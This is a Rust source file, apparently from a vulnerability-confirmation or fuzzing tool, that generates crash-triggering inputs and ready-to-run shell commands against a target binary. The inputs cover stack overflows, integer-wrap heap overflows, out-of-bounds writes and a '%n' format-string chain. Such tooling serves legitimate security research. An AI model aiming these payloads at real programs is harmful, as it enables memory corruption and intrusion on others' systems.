use crate::{ConcreteInput, EntrypointKind, ShapeParams, SinkConstraintKind, WitnessRequest};
const CANARY_PADDING: usize = 16;
const MAX_WITNESS_BYTES: usize = 64 * 1024 * 1024;
#[must_use]
pub fn try_trivial_witness(request: &WitnessRequest) -> Option<ConcreteInput> {
match request.sink_kind {
SinkConstraintKind::StackOverflowStrcpy => match request.shape_params.as_ref()? {
ShapeParams::StackOverflow { dst_capacity } => stack_overflow_witness(*dst_capacity),
_ => None,
},
SinkConstraintKind::StackOverflowSprintfUnbounded => {
match request.shape_params.as_ref()? {
ShapeParams::StackOverflow { dst_capacity } => {
sprintf_unbounded_witness(*dst_capacity)
}
_ => None,
}
}
SinkConstraintKind::StackOverflowGets => match request.shape_params.as_ref()? {
ShapeParams::StackOverflow { dst_capacity } => gets_witness(*dst_capacity),
_ => None,
},
SinkConstraintKind::HeapOverflowAllocArithWraps => match request.shape_params.as_ref()? {
ShapeParams::AllocArithWraps {
struct_size,
ptr_width_bytes,
} => alloc_arith_wraps_witness(*struct_size, *ptr_width_bytes),
_ => None,
},
SinkConstraintKind::OobWriteUnboundedIndex => match request.shape_params.as_ref()? {
ShapeParams::OobWriteIndex {
capacity,
signed,
index_width_bytes,
} => oob_write_index_witness(*capacity, *signed, *index_width_bytes),
_ => None,
},
SinkConstraintKind::FormatStringUserControlled => Some(format_string_witness()),
SinkConstraintKind::CommandInjection
| SinkConstraintKind::Ssrf
| SinkConstraintKind::Xxe
| SinkConstraintKind::PathTraversal
| SinkConstraintKind::Deserialization
| SinkConstraintKind::TemplateInjection
| SinkConstraintKind::CodeInjection
| SinkConstraintKind::SqlInjection => {
None
}
}
}
#[must_use]
pub fn stack_overflow_witness(dst_capacity: usize) -> Option<ConcreteInput> {
let total_len = dst_capacity.checked_add(CANARY_PADDING)?;
if total_len > MAX_WITNESS_BYTES {
return None;
}
let bytes = vec![b'A'; total_len];
Some(ConcreteInput {
bytes,
render: format!(
"python3 -c 'import sys; sys.stdout.buffer.write(b\"A\" * {total_len})' | ./victim"
),
entrypoint_kind: EntrypointKind::Cli,
})
}
#[must_use]
pub fn gets_witness(dst_capacity: usize) -> Option<ConcreteInput> {
let mut w = stack_overflow_witness(dst_capacity)?;
let total_len = dst_capacity + CANARY_PADDING;
w.render = format!(
"python3 -c 'import sys; sys.stdout.write(\"A\" * {total_len})' | ./victim"
);
Some(w)
}
#[must_use]
pub fn format_string_witness() -> ConcreteInput {
let payload = "%n%n%n%n%n%n%n%n";
ConcreteInput {
bytes: payload.as_bytes().to_vec(),
render: format!(
"./victim '{payload}' # %n chain triggers arbitrary write via va_arg overrun"
),
entrypoint_kind: EntrypointKind::Cli,
}
}
#[must_use]
pub fn sprintf_unbounded_witness(dst_capacity: usize) -> Option<ConcreteInput> {
let total_len = dst_capacity.checked_add(CANARY_PADDING)?;
if total_len > MAX_WITNESS_BYTES {
return None;
}
let bytes = vec![b'A'; total_len];
Some(ConcreteInput {
bytes,
render: format!(
"python3 -c 'import sys; sys.stdout.write(\"A\" * {total_len})' \
| xargs -I{{}} ./victim '{{}}' # sprintf(dst, \"%s\", argv) overflows dst"
),
entrypoint_kind: EntrypointKind::Cli,
})
}
#[must_use]
pub fn alloc_arith_wraps_witness(
struct_size: usize,
ptr_width_bytes: usize,
) -> Option<ConcreteInput> {
let limit: u128 = match ptr_width_bytes {
4 => 1u128 << 32,
8 => 1u128 << 64,
_ => return None,
};
const CANARY_PADDING: u128 = 32;
if struct_size == 0 {
let n: u128 = 1;
let wrapped_size: u128 = 0;
let write_len = wrapped_size + CANARY_PADDING;
if write_len > usize::MAX as u128 {
return None;
}
let n_le_bytes = n.to_le_bytes();
if ptr_width_bytes > n_le_bytes.len() {
return None;
}
let mut bytes = Vec::with_capacity(ptr_width_bytes + write_len as usize);
bytes.extend_from_slice(&n_le_bytes[..ptr_width_bytes]);
bytes.extend(std::iter::repeat_n(b'B', write_len as usize));
return Some(ConcreteInput {
bytes,
render: format!(
"# zero-size struct: alloc(n * 0) yields a 0-byte buffer; any write overflows\n\
python3 -c 'import struct,sys; sys.stdout.buffer.write(struct.pack(\"<{pack}\", 1) + b\"B\" * {write_len})' | ./victim",
pack = if ptr_width_bytes == 4 { "I" } else { "Q" }
),
entrypoint_kind: EntrypointKind::Cli,
});
}
if struct_size == 1 {
return None;
}
let struct_size_u128 = struct_size as u128;
let n: u128 = limit.div_ceil(struct_size_u128);
let wrapped_size: u128 = (n * struct_size_u128) % limit;
let write_len = wrapped_size + CANARY_PADDING;
if write_len > usize::MAX as u128 {
return None;
}
let write_len_usize = write_len as usize;
let n_le_bytes = n.to_le_bytes();
if ptr_width_bytes > n_le_bytes.len() {
return None;
}
let mut bytes = Vec::with_capacity(ptr_width_bytes + write_len_usize);
bytes.extend_from_slice(&n_le_bytes[..ptr_width_bytes]);
bytes.extend(std::iter::repeat_n(b'B', write_len_usize));
Some(ConcreteInput {
bytes,
render: format!(
"# alloc count = {n} (struct_size={struct_size}, wraps to {wrapped_size} bytes on \
{bits}-bit ptr arch); subsequent write of {write_len} bytes overruns the wrapped chunk\n\
python3 -c 'import struct,sys; sys.stdout.buffer.write(struct.pack(\"<{pack}\", {n}) + b\"B\" * {write_len})' | ./victim",
bits = ptr_width_bytes * 8,
pack = if ptr_width_bytes == 4 { "I" } else { "Q" }
),
entrypoint_kind: EntrypointKind::Cli,
})
}
#[must_use]
pub fn oob_write_index_witness(
capacity: usize,
signed: bool,
index_width_bytes: usize,
) -> Option<ConcreteInput> {
const PAYLOAD_BYTE: u8 = b'C';
if !matches!(index_width_bytes, 4 | 8) {
return None;
}
if signed {
let mut bytes = Vec::with_capacity(index_width_bytes + 1);
let pack = if index_width_bytes == 4 { "i" } else { "q" };
if index_width_bytes == 4 {
bytes.extend_from_slice(&(-1_i32).to_le_bytes());
} else {
bytes.extend_from_slice(&(-1_i64).to_le_bytes());
}
bytes.push(PAYLOAD_BYTE);
Some(ConcreteInput {
bytes,
render: format!(
"# index = -1 (negative-index variant; capacity={capacity} ignored); \
buf[-1] writes one byte before the array, clobbering saved RBP / chunk header\n\
python3 -c 'import struct,sys; sys.stdout.buffer.write(struct.pack(\"<{pack}\", -1) + b\"C\")' | ./victim"
),
entrypoint_kind: EntrypointKind::Cli,
})
} else {
let pack = if index_width_bytes == 4 { "I" } else { "Q" };
let illegal_index_bytes: Vec<u8> = if index_width_bytes == 4 {
let v: u32 = capacity.try_into().ok()?;
v.to_le_bytes().to_vec()
} else {
let v: u64 = capacity as u64;
v.to_le_bytes().to_vec()
};
let mut bytes = Vec::with_capacity(index_width_bytes + 1);
bytes.extend_from_slice(&illegal_index_bytes);
bytes.push(PAYLOAD_BYTE);
Some(ConcreteInput {
bytes,
render: format!(
"# index = {capacity} (first illegal slot); \
buf[{capacity}] writes one byte past the array end\n\
python3 -c 'import struct,sys; sys.stdout.buffer.write(struct.pack(\"<{pack}\", {capacity}) + b\"C\")' | ./victim"
),
entrypoint_kind: EntrypointKind::Cli,
})
}
}
const DEFAULT_CAPACITY: usize = 64;
const DEFAULT_PTR_WIDTH: usize = 8;
const DEFAULT_STRUCT_SIZE: usize = 8;
const DEFAULT_INDEX_WIDTH: usize = 4;
#[must_use]
pub fn classify_primitive(primitive: &str) -> Option<(crate::SinkConstraintKind, Option<crate::ShapeParams>)> {
if primitive.contains("sprintf") || primitive.contains("snprintf_unbounded") {
Some((
crate::SinkConstraintKind::StackOverflowSprintfUnbounded,
Some(crate::ShapeParams::StackOverflow { dst_capacity: DEFAULT_CAPACITY }),
))
} else if primitive.contains("strcpy") || primitive.contains("strcat") {
Some((
crate::SinkConstraintKind::StackOverflowStrcpy,
Some(crate::ShapeParams::StackOverflow { dst_capacity: DEFAULT_CAPACITY }),
))
} else if primitive == "gets" || primitive.contains("_gets") {
Some((
crate::SinkConstraintKind::StackOverflowGets,
Some(crate::ShapeParams::StackOverflow { dst_capacity: DEFAULT_CAPACITY }),
))
} else if primitive.contains("format_string") || primitive.contains("printf") {
Some((crate::SinkConstraintKind::FormatStringUserControlled, None))
} else if primitive.contains("alloc_arith") || primitive.contains("alloc_wraps") {
Some((
crate::SinkConstraintKind::HeapOverflowAllocArithWraps,
Some(crate::ShapeParams::AllocArithWraps {
struct_size: DEFAULT_STRUCT_SIZE,
ptr_width_bytes: DEFAULT_PTR_WIDTH,
}),
))
} else if primitive.contains("off_by_one") {
Some((
crate::SinkConstraintKind::HeapOverflowAllocArithWraps,
Some(crate::ShapeParams::AllocArithWraps {
struct_size: 2,
ptr_width_bytes: DEFAULT_PTR_WIDTH,
}),
))
} else if primitive.contains("oob_write") || primitive.contains("oob_index_write") {
Some((
crate::SinkConstraintKind::OobWriteUnboundedIndex,
Some(crate::ShapeParams::OobWriteIndex {
capacity: DEFAULT_CAPACITY,
signed: false,
index_width_bytes: DEFAULT_INDEX_WIDTH,
}),
))
} else if primitive.contains("oob_read") || primitive.contains("oob_index_read") {
Some((
crate::SinkConstraintKind::OobWriteUnboundedIndex,
Some(crate::ShapeParams::OobWriteIndex {
capacity: DEFAULT_CAPACITY,
signed: false,
index_width_bytes: DEFAULT_INDEX_WIDTH,
}),
))
} else {
None
}
}
#[cfg(test)]
#[path = "sink_payloads_tests.rs"]
mod tests;